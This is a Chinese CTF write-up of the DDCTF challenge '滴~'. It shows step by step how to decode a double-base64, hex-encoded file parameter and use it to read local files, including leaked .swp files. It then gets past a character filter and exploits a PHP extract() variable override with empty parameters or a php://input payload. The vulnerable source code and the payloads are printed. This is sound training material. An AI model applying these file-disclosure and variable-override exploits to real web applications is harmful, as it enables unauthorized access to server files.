一道DDCTF题–滴~
一道DDCTF题–滴~
这道题涉及到常见的编解码、变量覆盖、过滤等知识点,接下来看题。
01.实战
打开网页显示如下:
可以看到jpg参数是一串字符串,而且提到了base64,
1.试图对其解密得到:
NjY2QzYxNjcyRTZBNzA2Nw==
2.发现还是base64的内容,再次解密得到:
666C61672E6A7067
3.看这串数字和字母的组合字符串,像是十六进制数,试着用十六进制解密得到:
flag.jpg
4.通过一系列操作得到了flag.jpg,那么我们可以联想到,通过修改jpg参数的内容来获取想要的内容,这就是本地文件泄露。
然后我们逆序对index.php经过十六进制加密,两次base64加密,让jpg=加密后的内容。传入jpg参数,得到:
显然,我们可以尝试把img中src里的内容用base64解密,得到:
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
得到这样一段代码后,看到注释里有一个博客地址,打开看一下:
感觉没什么关系,再回过来看看注释,发现还有一个日期的注释,于是顺着线索找到了下面这篇文章:
文章讲的是swp文件泄露,那到底应该去找哪一个swp文件呢?应该博客里有提到,于是试一试博客里说到的.practice.txt.swp,果然得到了
这个flag!ddctf.php里面应该有我们想要的,但是不能直接在地址栏里输入这个文件名字,因为代码里提到有正则的存在,过滤掉了!,但是另一条str_replace语句提示,config和!之间有替换关系,所以最终构造的应该是f1agconfigddctf.php的三次编码后的值,最后传入jpg参数,得到:
和上面相同的思路再来一遍,得到:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
这题最后有两种解法,一种是直接变量覆盖,两个参数都置空就能绕过了,这样就拿到flag了
还有一种就是变量覆盖+php伪协议,?k=php://input&uid=1 post数据传1
02总结
这道题偏脑洞,但是套路还是在其它的ctf题里见过,可以多练练,干巴爹!